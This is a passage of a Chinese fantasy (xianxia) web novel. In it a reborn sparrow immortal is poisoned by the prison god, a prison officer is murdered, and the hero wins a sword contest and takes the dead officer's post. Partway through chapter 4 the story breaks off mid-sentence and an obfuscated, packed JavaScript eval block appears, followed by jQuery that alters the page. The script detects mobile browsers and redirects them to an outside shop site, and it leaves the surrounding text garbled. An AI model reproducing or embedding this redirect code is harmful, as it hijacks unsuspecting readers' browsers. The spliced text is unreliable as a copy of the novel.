“是!晚辈这就去练剑。”说完,云也不踏了,急匆匆化作一道光,消失得无影无踪。 向鸿明使长告假后,风照卿一时竟不知该去何处练剑。鸿雁阁宫殿众多,压根没有空地,他又不善交际,上天以来也就与敖丰元算得上朋友,一时间不知该向谁开口借场地。 他在屋舍里急得来回踱步,袖子里的桃花符悠悠飘了出来,他忽然灵光一现:沧海涯。 即使在沧海之涯发生过的一切都是水中月镜中花,风照卿还是不得不承认自己上一世在那里度过了最美好的一段时光。他原以为自己再也不愿踏足此地,但一想到元出尘将自己忘得一干二净只剩他一人对往事纠缠不休,他对进入沧海涯竟忽然有了一股义无反顾的冲动。 既然你不记得,我又何必顾虑,沧海涯本也是属于我的一方天地,我为何不敢踏足。 上一世元出尘为了带风照卿到凡界游玩,在风照卿的金殿里凿了一条连接凡界的通道,那时风照卿以为他胆大包天,如今想来不过是背后有龙族撑腰,所以有恃无恐。 如今风照卿的金殿已被夷为平地,那条通道也被封印了。 他原先的寝宫本就偏僻荒凉,如今成了一片空地,更是无人问津。他见四下无人,便抬手触碰封印试探一番,发现不是什么复杂封印,心中暗喜。他闭目凝神,嘴里默念口诀,不多时,封印便化作金粉消散,他不带任何犹豫跃入通道,片刻后封印重新覆上入口。 —— 沧海涯依旧是五百年前的模样,简朴的竹屋内纤尘不染,庭前的莲池里生机盎然,屋前的秋千偶尔被风吹动,发出吱呀声响。 这还是风照卿第一次在夏日来到此地,从前的他只能在凡界腊月来此游玩。 回忆往昔触景生情,风照卿又是一阵爱恨交织涌上心头,闭上眼睛不愿再多看旧景。 “来此是为了练剑,别浪费时间了。”他对自己沉声说道,下一刻便拔剑出鞘,将灵力灌于右手,向莲池发出一击,池内瞬间爆出冲天水花,沧海涯顷刻间落了一场青莲雨,冲散了些许夏日的烦闷。 与此同时,狱神寝殿内的莲池里亦发出了激荡,元出尘本来化了真身在池中安心养神,怎料突如其来的一阵排山倒海直接将他震出了池子。 风兮仪听到动静即刻赶来查看,只见高高在上冷酷无情的狱神浑身湿透,摔在地上,身上挂满了莲叶泥石,甚是狼狈,平日里麻木的神情终于有了一丝生气。 他连忙上前将狱神扶起,小心翼翼地拿掉挂在他肩上的莲叶,问道:“大人,您这是怎么了?” 狱神摇摇头,脸色铁青但尽力维持着语气的平静:“你出去吧,本君无碍。” 风兮仪犹豫着放开狱神,离开前还看了一眼确认狱神是否真的无恙。 元出尘一打响指,身上的水便被抽离,又是一副清爽的模样。他脸色阴沉,疾步走到池边,一跃而入,池中青光一现,却不见狱神身影。 风照卿正在沧海涯内专心练剑,竟没发觉空气中的莲香愈发浓郁。 “何人在此?” 一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052710|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟悉的、清润却又阴鸷的声音忽然在身后响起,风照卿心头一颤,回剑转身,便看见面色铁青的元出尘提着万钧剑站在他面前。 元出尘见到风照卿时脸上闪过一丝惊愕,旋即又是一副冷冰冰的神色,微怒道:“你为何在此?私下凡界可是重罪。” 风照卿不知该如何作答,便闭口不言,只是仰头满是不甘地瞪着元出尘。 元出尘见他又是直愣愣瞪着自己,提着万钧的手紧了紧,蹙眉道:“问你话为何不答?” 风照卿懊恼自己练剑心急却没来得及细想,此地是凡界,若无人时常打扫怎么可能纤尘不染? 思虑半晌,风照卿坦荡答道:“练剑。” “练剑?”元出尘冷哼一声,并不相信风照卿所言,长袖一挥,数千万根银针竟从袖中飞出,如瓢泼大雨般向风照卿疾驰而去。 风照卿急急后撤,提剑劈开针雨,可银针数量实在太多,又仿佛有灵识一般,被劈落后又冲向风照卿,无穷尽也。 此处似乎被下了禁制,他竟召不出护身结界,勉强支撑了一炷香的时间,终是不敌,右手手背传来一阵微弱的刺痛,所有银针如有感应一般,立即停下攻击,飘回元出尘的袖内,而命中风照卿的那根针竟缓缓地融进了他的体内。 元出尘负手而立,打了个响指冷言道:“跪。” 仿佛又是身在天狱一般,风照卿又一次无法抵抗他的命令,屈辱地跪在元出尘面前。 “这是什么?”风照卿看着右手手背的一点红,艰难开口道。 敖丰元只笼统地告诉风照卿狱神心狠手辣,却并未细说他的手段。狱神曾是天医,善救治,亦通万毒,这世间没人能在他的毒下扛过三日,这也是为何仙家谈狱色变,宁愿一死,也绝不进天狱的原因。 元出尘并不回答,俊美的脸上覆了一层冰霜。关于从前的记忆,元出尘自失去一半真身后便再也想不起来了,他不知道为什么会有沧海涯这个地方,只是隐隐知道此处对自己很重要,每每被梦魇纠缠烦躁不安时,他便会来此地静坐,所以他将此地封印起来,这是他自己的一方天地,除了当初劳驾烛夙忆将此地的莲池与天狱互通外,再没人来过。 可今日却忽然来了个不速之客。 “你是怎么进来的?”元出尘冷冷问道。 那根银针附着的毒能让人七日内浑身犹如针扎,锥心刺骨,并且在两个时辰内听命于他,知无不言,言无不尽。元出尘给它起名奴针。 风照卿屏息凝神,运转周身灵力试图将毒性压制,可若这么简单就能与之抵抗,狱神又怎能让人闻风丧胆?他越是压制,毒针在他的周身经脉内冲得越猛,不过片刻风照卿便猛地喷出一口血来。 “本君劝你一句,莫要做无谓的挣扎,否则奴针会让你筋脉尽断,修为尽毁。”元出尘优雅弯腰捡起一朵落在地上的青莲,仔细地为它掸去尘埃,动作温柔至极,却压根不在意风照卿半死不活地跪在地上口吐鲜血,“本君再问你一遍,你是怎么进来的?” 不好,我若说是从金殿的通道下界,他必会究查我的身份,若被查出我是青鸾神族,莫说让元出尘恢复记忆了,只怕我会被抓去献给龙族,然后挫骨扬灰。 想到此处,风照卿毅然决然地抬手点了自己的哑穴,任凭奴针在他体内横冲直撞,浑身刺痛难忍,他也咬牙忍着,直将嘴唇舌头咬得血迹斑斑。 元出尘见状,脸色骤然一变,内心震惊不已:此人竟有如此意志,抵得住奴针的痛苦。 通常遇到这般倔强倨傲的罪仙,元出尘都会使出更强硬的手段,可他看着风照卿痛得在地上爬不起来的模样,心中竟有一丝不忍。 看着风照卿脸色渐渐惨白,几乎要晕厥,元出尘内心居然也备受煎熬,良久,终是长吐了一口气道:“罢了……” 我居然放过他?元出尘自己都感到不可思议,他早就不在乎他人生死,下手从不手软,今日是吃错了什么药? 体内的奴针瞬间安静下来,虽说那股在体内横冲直撞的毒消散了,但奴针在体内依然会让他感到锥心刺骨的痛楚,又强撑了片刻,终于还是晕了过去。 “你私下凡界,理当受雷鞭二十,念及初犯,又不曾干扰凡间事务,雷鞭就免了,但奴针还是留在体内以示惩戒。”元出尘看着躺在地上奄奄一息的风照卿,踌躇许久,终于还是上前将他抱起。 5. 第 5 章 看着元出尘大变活人般从寝宫里抱出了半死不活的风照卿,风兮仪大气不敢喘,眼睛也不敢多看。 “朱雀。”元出尘沉声道。 忽然被点名,风兮仪本就白净的脸吓得没了血色,抖声应道:“在。” “送他回鸿雁阁。” “是。”风兮仪一听是这种简单差事,暗自松了一口气。 —— 敖丰元刚回到寝室躺下,门就吱呀一声开了,探进来一双虚弱无力的手,他连忙起身上前将风照卿背进来,惊道:“你这是怎么了?谁把你伤成这样?” 风照卿浑身刺痛,仿佛睡在钉床上一般,半晌才憋出三个字:“元出尘……” 敖丰元闻言眼睛瞪得像铜铃,赶紧捂住风照卿的嘴,用气声说道:“你不要命啦!敢直呼狱神名讳。” 这一世上天界之前,风照卿复习了好几年天界的这些繁文缛节,他不想再像上一世一样被说成乡野村夫,更不想连累雀仙族在别人眼里像是个蛮夷之地,但面对元出尘,他实在叫不出“狱神大人”四个字。他虚弱地拉开敖丰元的手,艰难道:“你可否,帮我叫天医。” 敖丰元翻看了风照卿的手臂,分明一点伤痕也没有,可只要轻轻一碰,他就疼得五官紧皱面色发白,担心道:“狱神大人究竟是给你用了什么刑?若是他自制的毒药,恐怕其他天医无能为力。” 风照卿心死了一半,五日后便要问剑,他这个样子还如何拔得头筹离开鸿雁阁。 敖丰元也长叹道:“唉,这可如何是好,你,你是怎么惹到狱神大人的?也不知这毒会不会有损修为。” “我练剑不小心炸了他的金殿。”风照卿言简意赅道,私自下界的事不便透露给丰元。 敖丰元又一次眼睛瞪得像铜铃:“你你你,你怎么会炸到他金殿的!?无怪他给你下毒了……” 敖丰元见他疼得浑身发抖,直冒冷汗,急得在屋内来回踱步,忽然灵光一现,匆匆走到风照卿身边坐下,伸出二指对着自己的眉心一点,一颗流光溢彩的宝珠竟从眉心浮出,他献宝一般捧到风照卿面前道:“这是海灵珠,可吸存灵力魂魄,我借你五成灵力,这样就算你疼得死去活来,问鼎论剑也可如探囊取物了。” “这……不可,这不是舞弊吗?我不能接受。”风照卿把脸扭到内里,不看海灵珠,但他忽然想起了一件事情:当初佑启天帝便是以此物封存四魂之后才得以重生复仇,那我的重生会否与此物有关? “哎呀!你别那么死脑筋嘛,你现在中毒,元气大伤,用了海灵珠也不过是恢复到正常水平罢了,怎么能是舞弊呢?”敖丰元扯着风照卿的袖子,执意要将海灵珠塞给他,“你若觉得这做法有失公正,那我少借点灵力给你便是了。” “不可!我最恨欺骗了。”风照卿一把抽走袖子,微怒道。 敖丰元见状,讪讪地收回了海灵珠,有些委屈道:“那好吧……我也是希望你能如愿以偿离开鸿雁阁,毕竟以你的修为留在此地属实屈才。” “那也要堂堂正正地离开。”风照卿坚定道。前世的自己一直活在谎言里,深知受人蒙骗的滋味有多不好受,他又怎能说服自己去欺骗他人。 敖丰元点点头,灰蓝色的瞳仁转了转,忽然又开心地凑到风照卿身边,召出了一柄闪着凛凛寒光、通透若冰的宝剑:“不借修为,借剑总行了吧?这柄玄冰剑是我从北海神兵库带来的,但现在有了玉折扇,我也用不上它了,放在我这儿实在是暴殄天物,不如就给你吧!” 见风照卿还是倔强地摇摇头,敖丰元站起身,微怒道:“怎么?你是看不上吗?这玄冰剑虽是以冰锻造,却不怕火炼雷劈,除了三昧真火,任何东西都不能折断它,比你手上那把破铁剑强多了!我不管,你给我收着!” 敖丰元不由分说地把玄冰剑塞进风照卿手里,又帮他盖好被子才要离开,忽然又被叫住。 “丰元。” “嗯?” “海灵珠是龙族圣物,力量强大,三界内不过四颗;北海神兵库也不是寻常龙族想进就能进的,想来你在族内身份十分尊贵,为何会屈居于此?”风照卿终于问出了自己从见他第一面起就想问的问题。 敖丰元挠了挠头,含糊其辞:“就,就被罚来的呗……你怎么知道海灵珠如此珍贵?此物稀有,寻常仙人听都不曾听过,没想到你这区区几百岁的小麻雀如此见多识广。” 风照卿干咳了一声,遮掩道:“偶然听闻的。” “好吧,那你好生休养,我去天医馆问问有没有止痛的丹药,给你拿些。” “多谢。” “不客气!”敖丰元摆摆手,摇着扇子潇潇洒洒地出门了,结果没走多远便看到朱雀狱官正与鸿明使长交谈,顿步行礼道:“参见鸿明使长、朱雀狱官。” 鸿明点点头,问道:“你不是刚交接班吗,不好好休息要去哪?” “照卿身体不适,我去天医馆帮他抓药。朱雀狱官今日怎会来鸿雁阁,莫不是又有什么案件与供品有关?”敖丰元收了扇子,正经道。 风兮仪摆摆手,微笑道:“狱神命我送风照卿回来。” “原来如此。”敖丰元应道,可方才他隐约听见风兮仪在向鸿明打听风照卿的事,莫不是狱神觉得给风照卿下毒还不够?让朱雀狱官来找他错处要将他抓进天狱吧? 这个想法刚冒出来就立即被他自己否定了:不对不对,风兮仪向来是个正人君子,为人谦和有礼,是天狱官里人缘最好的一位,就算狱神想故意找茬,也不会派他来的。 如此一想,敖丰元稍稍放宽了心。 “寒暄两句差不多,我去看看风照卿。”风兮仪说道,与鸿明道别。 看到门口挂着水木丁亥的宫牌,风兮仪敲了敲门,里面传来一个虚浮的声音:“请进。” 风照卿本以为会是鸿明使长,没想到却是风兮仪,微微一愣,欲下床行礼,却被他拦下:“你身子不适,就不必行礼了。” 风兮仪生得白净可爱,让人见了就觉得亲切,和刻板印象中凶神恶煞的狱官形象截然相反。 “多谢朱雀狱官。不知狱官前来所为何事?” “没什么,就是路过顺道来看看你。”风兮仪道。 “劳烦朱雀狱官记挂。”风照卿猜想是元出尘叫他来的,心里又是一阵说不出道不明的奇怪感受:先给人下毒,现在又假惺惺地派下属来关心到底是在演哪一出? “不必客气,你我本是同族,互相关照也是应该的,”风兮仪见风照卿身上并无伤痕,问道,“狱神可是对你用了毒?” 见风照卿点点头,风兮仪轻叹一声,问道:“你可知是什么毒?” “好像是……奴针。”风照卿回忆道。 风兮仪点点头,心道:奴针的话倒不是什么难处理的事。他从袖子里拿了一颗丹药喂风照卿服下,笑盈盈道:“这是自在丸,狱神自用款,对付奴针一颗就够了。” “狱神为何要用这个?” “额……狱神他,也是会受伤的嘛……”风兮仪含糊道,总不能告诉外人,狱神时常意气用事用刑过度遭天谴吧? 有时狱神觉得天条规定的罪罚不相当,宁愿自己夜里被天雷甩几鞭子也要让那些罪人得到应有的惩罚,不过自从天帝陛下修改天条后,这种情况倒是几乎没发生过了。 风兮仪笑着转移话题道:“你怎么会出现在狱神的寝宫里?他又怎会对你用毒?” 风照卿 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他刚向鸿明打听了这孩子的过往,鸿明对其赞赏有加,说他年纪虽小却修为了的,纵使被安排来鸿雁阁,一身法术毫无用武之地也并未表现出一丝不悦,做事还特别勤快,常常帮阁内同僚分担压力,光而不耀不骄不躁,是个可塑之才。 风照卿由衷地感激道:“多谢前辈!” “那你好好休养,我得回去复命了。”风兮仪拦下风照卿行礼的手,帮他合上门离开了。 —— 天狱宫是仙人避之不及的地方,附近鲜有人烟,死气沉沉,谁也不愿意多靠近这里,因此当风兮仪在看到眼前这个墨色背影时很惊讶。 “这位仙友可是迷路了?”天界弯弯绕绕,刚上界的新人迷路是时有的事情,风兮仪微笑着上前问道。 可见到那人正面的一刻,风兮仪愣住了,此人以面具遮脸,连双眼睛都看不见。还未等他反应过来,黑衣人突然一手擒住了他的脖子,将他高高举起。 风兮仪震惊地瞪大了双眼,拼命去扒他的手,可此人身着的衣物顺滑无比,风兮仪完全抓不住,双腿悬在空中不停地踢踹挣扎着。 “你……你是谁?”风兮仪艰难地开口道。他向来与人为善,何曾有过仇家,他实在想不到究竟是谁会伤害自己。 那人嗤笑一声:“你不必知道我是谁。” 这声音隔着面具,虽有些沉闷,但竟是有些熟悉的,可眼下风兮仪被捏着脖子,完全无法思考。 “天狱宫就在前面,你……好大的胆,胆子……” “是啊,天狱宫就在前面,谁也不敢靠近此处,另外三位狱官下界捉拿罪犯了,狱神亦是足不出户,谁能救你?”黑衣人嚣张道,他竟对天狱宫内所有人的行踪了如指掌。 忽见他自眉心召出一颗流光溢彩的宝珠,拿到风兮仪面前摆弄着,语气中充满了得意忘形的意味:“以你的官职肯定没见过这东西吧?我告诉你,它叫海灵珠,能吸收万物的灵力魂魄。” 风兮仪瞳孔一紧,脸色刷白,恐惧让他的声音止不住地颤抖:“你,你要做,做什么?” “做什么?反正你死后修为也是要散尽的,倒不如借给别人用用。” 风兮仪猝然大惊,还未待他挣扎呼救,黑衣人袖中便飞出了一张符咒,刚贴在凤兮仪身上,他就觉得自己发不出一点声音。 黑衣人得意地笑着,立刻驱动海灵珠吸取风兮仪的灵力,风兮仪瞬间感觉身体猛然被抽空,犹如撕裂般痛苦,随着灵力被吸走,那张清风明月般的面容也瞬间苍老,他却依旧发不出一点声音。 灵力被吸尽,风兮仪犹如风中残烛般吊在黑衣人手中,毫无还手之力,黑衣人手腕一动,只听清脆的断骨之声传来,风兮仪喉头涌上腥甜,意识逐渐溃散…… 6. 第 6 章 天狱宫内充斥着悲恸哀涕,往日阴沉黑暗的宫殿如今更是一片凄寒,风兮仪干尸般的枯瘦尸体躺在殿中央的棺椁里,一双布满血丝的眼睛依然圆瞪着,写满了死前的恐惧。 元出尘死死捏着棺椁一角,竟有些喘不过气。 良久才终于伸出手缓缓为风兮仪阖上双眼,深吸一口气,艰难道:“我不该让你去的……” 其余三位狱官亦是悲痛不已,头低低站在一旁无声地哀悼。 朱雀狱官惨死一事很快传遍了天界,往日与他交好的仙友密密麻麻堵在了天狱宫前,既想送他最后一程,又不敢擅闯天狱。 玄武狱官上前问道:“大人,外头有许多仙官来此,想送朱雀最后一程,能否让他们进来?” 元出尘沉默不语,伸手抚上风兮仪冰冷苍老的面容,指尖流出盈盈绿光,尸体触到绿光渐渐恢复了生前白皙细腻的模样,风兮仪温润的脸颊微红,看上去就像睡着了一般。 “他平日最是端正有礼,该体面地见亲友最后一面。”元出尘淡淡道,转身离开。 玄武狱官为众仙家开了门,往日令人望而生畏的天狱此刻也收起了爪牙,像一只沉睡的野兽般温顺。 风照卿神游般揣着一袋花香稻跟在鸿明上神身后,难以接受那日还在谈笑风生的仙君突然死于非命。 风兮仪虽已是上仙,但官职不高,又是在天狱宫这种鲜少与外界联系的地方任职,并非光芒过盛引人妒恨之人。究竟是什么人以什么理由杀了他?这个问题萦绕在所有人心中挥之不去。 风照卿跟着鸿明使长站在棺椁旁,见风兮仪面若桃花,嘴角微扬,就像沉睡在美梦中未醒一般,身边摆满了众仙送上的鲜花物什。 听闻,风兮仪死前灵力被吸尽,仙人若骤然失去灵力,身体会如枯木般苍老,风兮仪这般模样想来是元出尘施了法为他保存下最美好的模样。 风照卿不由得一阵酸楚:他待下属倒是亲厚。 他将花香稻放在风兮仪身侧,握了握他冰凉僵硬的手,回想起那日这双手还揉搓着他的头发,心中一阵苦涩:“前辈……听闻您最是喜欢花香稻,我便托族人寄来了些,本想论剑后与您一同享用,却不曾想……” 许多仙官都在低声哭泣,喃喃着风兮仪曾经的事迹:或是帮天兵天将追捕要犯,或是慷慨赠予狱神赐与他的丹药,或是在狱神面前为人求情……诸般种种皆是不舍。 “天帝驾到!” 上仙横死天街,惊动天帝亦是情理之中。众仙慌忙拿起手帕袖子将泪花抹净,齐齐作揖行礼。 一位身着金霞纹龙,头戴赤金旒冕的神女迈着沉重的步伐走进天狱宫,冷艳脱俗的脸庞不怒自威,周身笼着一层金粉结界,那是龙族帝王独有的龙神结界,若非亲信之人难以接近。 烛夙忆向来从容不迫,曾经是驰骋疆场杀伐果决的将军,如今则是冷毅持重傲视群雄的帝王,比起从前更多了几分雍华。 风照卿前世曾与她共同参战击退魔族,即使重生后他也依然记得这位神女的天光剑法,一人为阵抵御万魔,那潇洒如风的身姿惊艳了他很长时间。 她走到棺椁边,手心洒下一片金辉以示悼念,帝王金辉能助魂灵早渡忘川,来世顺遂,称得上是最好的送别之礼了。 烛夙忆转身望向众仙,淡淡扫了一眼在场的所有仙神,眼眸低垂沉声道:“朱雀狱官之死非同小可,凶手如此胆大妄为,想必十分了解天界,本座已着狱神彻查此事,定会给风兮仪、雀仙族及诸卿一个交代。” “陛下圣明。”众仙齐齐道。 “本座还需与狱神共同探讨此案,诸卿请便。”随后便由青龙狱官领着去到后院。 元出尘正茫然地盯着莲池,分明长身玉立,此时却给人弱柳扶风之感。 烛夙忆不是第一次见他这副模样了,他好像总是难以接受身边人的离开,总会茫然无措一阵,与平日冰冷无情的模样大不相同。 她也不是会说温言软语的人,只能干巴巴地劝慰道:“节哀。” 元出尘沉默不语,没有摇头也没有点头。他向来畏惧死亡,曾经做天医时亦是如此,总想着行医天下,妄图与生死薄抗衡,可那终究只是年轻时的一腔热血一场空梦。 元出尘受伤后时常梦到自己害死了一个人,一个鲜衣怒马意气风发的少年,他倒在血泊中,脖子上自刎的痕迹刺痛了元出尘的双眼和心,无论他怎样点穴止血,哀求哭喊也无用。鲜血沾污了他和少年的衣袍,也沾污了他曾经的赤子之心,让他无法拾起年少时行医天下的梦。 每当身边亲朋死去时,这个梦便会更加清晰,除了少年的脸被迷雾遮住以外,其他的一切都真实得让元出尘难以喘息。 良久,元出尘终于低低开口道:“风兮仪,陪了我很久。” “嗯,快五百年了,他飞升后不久就来天狱了。” “他做事周全待人以诚,绝不会有仇家,大概……是我害了他。”元出尘将脸埋进手心,痛苦道。如今他坐上狱神之位,双手沾满了鲜血,该横死街头的分明是自己,为何却累及旁人。 “你向来用刑果决,不留后患,那些罪孽深重的仙人要么魂飞魄散,要么被贬下凡,怎么可能会出现在天街?切莫被悲伤冲昏了头脑。”烛夙忆冷静道。 元出尘抬起头,深吸一口气道:“但愿如此。” —— 瑶池论剑推迟了七日,倒是给了风照卿充足的时间练习,后来那几天元出尘也未曾出现在沧海涯,想来是在为朱雀狱官的死而痛心。 论剑由武曲星君主持,前三轮两两对决,先被击落瑶池者败,最后一轮由武曲星君亲试。 敖丰元特意告假来为风照卿喝彩,每每见风照卿轻松赢下,就拼命挥舞着手中的玉折扇欢呼,摇得它都快散架了。 三轮下来,风照卿未尝一败,以全胜战绩位居擂主之位,第二的则是敖丰元的南海表侄孟尚之,仅有一败。 孟尚之身为南海红龙,却败给了一个三百岁的麻雀,面上无光,又见风照卿手中的宝剑分明是北海神兵玄冰剑,而罪魁祸首敖丰元居然为风照卿鼓掌喝彩,顿时火冒三丈,出言讥讽道:“哟,这不是丰元表叔吗?不老实待在鸿雁阁送货,来这儿做什么?不怕翘班被罚吗?再罚,恐怕只能去扫天街了吧?” 孟尚之身边的狗腿子亦是应和着,一帮虾兵蟹将,居然丝毫不把敖丰元放在眼里。 敖丰元脸色十分难看,却也并未反击,只静静收了玉折扇,拉着风照卿要到别处去,孟尚之却不依不饶拦住了二人去路。 “表叔,还没寒暄两句怎么就要走呢,方才不还欢天喜地为只臭麻雀喝彩吗?现下怎么屁都不敢放一个了?身为龙神族却为一个低贱的雀仙喝彩,还将自己的宝剑赠与他,你真是自甘堕落不知羞耻!姓敖的果真惯出废物,把龙族的脸都丢尽了。”孟尚之一头红发无风自动,似是从讥讽敖丰元这件事中获得了极大的满足。 “你怎能——”风照卿听不下去,正想驳斥两句,却被敖丰元拦下,一声不吭地拽着他跑得远远的。 孟尚之还在咒骂着:“若不是你这蠢货弄丢了我南海海灵珠,老子何至于打不过这臭麻雀!“ 敖丰元置若罔闻,只一味地拉着风照卿往反方向跑,直到再听不见孟尚之气急败坏的叫骂才终于停下。 “他欺人太甚,为何拦我?”风照卿不解道。上天这些日子敖丰元待他是真心实意的好,处处关照,他实在见不得敖丰元被一个小辈骂得不敢还口只能落荒而逃。 敖丰元只淡淡道:“算了……我方才确实太过张扬。” “……” 风照卿见敖丰元作为当事人不愿声张,他一个旁观者也只好作罢,出声安慰道:“技不如人,却不知自省,只一味向他人撒气的才是废物。” 敖丰元轻笑一声,算是接受了风照卿的安慰。 “所以……你被贬到鸿雁阁是因为弄丢了海灵珠吗?” 敖丰元点点头,回想那件倒霉事心情就 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风照卿入场,却见烛夙忆不知何时来到了瑶池,正端坐于高台上,面色清冷,身着红色常服,满身珠翠,鬓边还簪着一只红花,虽是极艳俗的装扮,可她神情严肃凛然,依然给人一种不可侵犯的压迫感。 最后一声钟鸣敲响,四人腾云飞在瑶池之上,皆有三位对手,最终能打败另外两位论剑者,并在星君剑下挺过三招的,便是魁首。 比试方一开始,孟尚之与第三甲的吴宁便齐齐对风照卿发起攻击,二人并非敌对而是合作,打算合力先将风照卿击败。 想都不用想这一定是孟尚之趁着方才风照卿离开的时候与吴宁串通一气。可他们的计划并没有想象中的顺利,武曲星君岂能容忍此等卑鄙行为,双手持剑插|入,生生将二人逼开,并在左右两边皆甩出一道剑气。 吴宁躲避不及,只好也放出剑气相敌,却不想用力过猛,格掉星君的攻势后竟还余有一丝灵力,被星君堪堪避过,擦破了孟尚之的衣袖。 孟尚之向来是个小肚鸡肠之人,恼羞成怒,将方才的约定抛诸脑后,不管不顾地要还吴宁一招。 风照卿轻松避过星君的剑气,飞身到孟尚之面前,出剑却无剑气,而是甩了一道剑风孟尚之脸上。孟尚之乃是南海太子,自幼金尊玉贵,何曾受过此等屈辱,顿时震惊得呆若木鸡,一时晃神,被风照卿一剑逼下瑶池,竟率先出局。 孟尚之挣扎着从瑶池爬起,捂着不知是被冻红还是扇红的脸气急败坏地对着上头的风照卿和吴宁骂骂咧咧。烛夙忆瞥了他一眼,心中不悦,指尖凝出金光,屈指一弹,孟尚之便发不出声了。 吴宁对付风照卿一人尚且吃力,再加上星君更是毫无还手的余力,被打得节节败退,未撑一刻便也落下瑶池了。 武曲星君方才便一直在期待与风照卿的过招,它对此人的剑法十分欣赏,又听闻他不过三百岁,更是青眼,有意将他收入门下。 与武曲星君的较量可谓是势均力敌有来有回,风照卿虽有前世的神君修为,可现下不便以真身示人,只留了三成功力,并不能在星君手下讨到几分便宜。 天空中两道身影飘渺潇洒,瑶池中的百花香气随着二人剑气飘散于天地间,花瓣亦随风飞舞,若流光飞雪,叫众仙看得好不过瘾,直呼精彩,早忘记了风照卿只需扛下三招便算魁首之事。 直过了一炷香,二人才翩翩落地。 风照卿回剑行礼道:“谢星君指点。” 武曲星君朗声笑道:“年纪轻轻功法了得,才刚飞升一个月已然是上仙之资,日后必成大器。不知你可愿……” “座下何人?”未待武曲星君问完,烛夙忆忽然开口道。 风照卿微微一愣,道:“雀仙族风照卿,见过天帝陛下。” 四下寂静一片,但大家心中都在为这只小麻雀贺喜:被天帝陛下看中,你小子日后就等着平步青云吧! “抬起头来。”烛夙忆说道,自上而下打量着风照卿,点点头,做出了一个让众人惊呆的决定,“本座见你修为已是一品上仙,又正好出身雀仙族,命你接任朱雀狱官一职,意下如何?” 7. 第 7 章 众仙又一次脚下一滑,堪堪站稳,不敢在天帝面前失态,心中却咆哮如雷:天帝陛下您还敢再任性一些吗?叫此等人才埋没在天狱宫那种让人避之不及的地方,你的良心不会痛吗?! 众仙纷纷感叹风照卿虽有一身过人天赋,可惜时运不济,先是鸿雁使,后是天狱官,每一个都是被人弃若敝履的职务。 风照卿心中却是惊喜,他原本就是想去做狱官的。 烛夙忆见他半日不说话,冷言道:“怎么?不愿意?” 风照卿面上依旧从容淡然,道:“不,能接任朱雀狱官是小仙的荣幸。谢天帝陛下。”虽说前几日他还被元出尘的奴针折磨得死去活来,但不入虎穴焉得虎子? 身后传来众仙惋惜的长叹,但烛夙忆置若罔闻,满意地点头道:“嗯,那你明日便去天狱报道吧。” 回去的路上,几乎每个仙君都走过来想对风照卿说些宽慰的话,欲言又止了半天,却什么也说不出口。他们不知道该如何安慰一个失去光明前途的小仙,更担心自己的官服会残忍地刺痛风照卿幼小的心灵,最终只好在风照卿的笑容下轻叹一声离开。 只有孟尚之一副小人得志的嘴脸,一头红发又开始飘飘荡荡,刚解了禁言令就到风照卿面前嘚瑟:“臭麻雀,拿了魁首又如何?还不是只能去做那阴沟里的差事。” 风照卿并不恼怒,人各有志,天狱本就是他的心之所向,彼之砒|霜,吾之蜜糖。 但敖丰元却站了出来,双拳紧握,似是鼓起了很大的勇气说道:“不得无礼。” 孟尚之气不打一出来,指着敖丰元吹胡子瞪眼道:“你还敢训斥我?比我多长几百岁真拿自己当根葱了?你就是个……” 孟尚之污言秽语尚未出口,一道金鞭狠狠甩在他嘴上,本就厚的嘴唇霎时肿的像腊肠,话都说不利索。 烛夙忆不知何时出现在三人身旁,掀起眼皮斜乜孟尚之一眼,冷冷道:“孟尚之目无尊长,出言不逊,依天条杖责三十,朱雀狱官,将他押去天狱领罚。” 风照卿一时没反应过来“朱雀狱官”指的是自己,直到敖丰元拿手肘捅自己才应道:“哦!是!” 孟尚之嘴唇肿得老高,哀求的话语根本听不清楚,只“咿咿哇哇”乱叫着,风照卿嫌他吵,随手一道诀,又禁了他的言。 再一次走在去往天狱的天街上,敖丰元却不似上回那般神采飞扬,唉声叹气了一路:“唉,照卿,你说你运气怎么这么差,什么烂事儿都让你摊上了。” “接任朱雀狱官怎么能是烂事呢?兮仪前辈待我亲厚,能继承他的衣钵我由衷开心。” 敖丰元闻言,不禁感叹当朱雀狱官的可能脑子都不大好使。当初风兮仪也是同辈仙君中的佼佼者,与照卿一样,刚飞升已是三品太仙,不过数年修为已至一品上仙,却自己请愿去了天狱宫,如今那些与他一同飞升的仙君们都已身居高位,他却…… 敖丰元又叹了一口气,又道:“不过,你这修为怎么涨得这么快,这几个月也没见你修炼呀,居然已经和我一样是上仙了吗?” 风照卿正支吾着不知该如何向敖丰元解释他只是多放了一成灵力出来,敖丰元就忽然两眼发光,加快脚步向天狱宫奔去。 天狱宫前站着一位乌发如瀑,清丽无双的仙子,敖丰元上前殷切问候道:“织女姐姐!” 织女为何在此?风照卿正纳闷,走近了发现她手里正捧着一件莲纹青衫,以雨云织就,绵软湿润,其上青莲栩栩如生,竟是以彩霞绣制,坠着点点星屑,微风吹动便可如漫步于星河间一般,实是世间精品。 风照卿扫了一眼衣物的尺寸,便知道这青衫定是献与元出尘的,心里没由来的一阵气郁。 织女秀美的脸庞自带柔情,桃腮带晕,柔若无骨的身子微一欠身行礼,轻音娇柔道:“参见丰元殿下,我新织了件青衫,特来送与狱神大人。不知这二位是?” 敖丰元拿扇子指了指肿着嘴巴的孟尚之道:“南海孟尚之,来领罚的,”又将风照卿推到织女面前介绍道,“这位是新上任的朱雀狱官。” “晚辈风照卿。” “真是位俊俏的小仙君。”织女莞尔一笑。 将孟尚之交给玄武狱官后,敖丰元展开扇子,轻轻撞了一下风照卿,轻声问道:“织女仙子如何?她可是我心目中的三界第一美人。” 风照卿轻咳一声,支支吾吾并未直接回应。 敖丰元“嘁”了一声:“你怎么一副不近女色的样子,别是个断袖吧?” 闻言风照卿脚下一绊,难得将慌乱显露在脸上,憋红着脸道:“我我我……” 敖丰元笑得前仰后合,忽而想到风照卿明日就不再是自己的室友,又有些难过不舍。 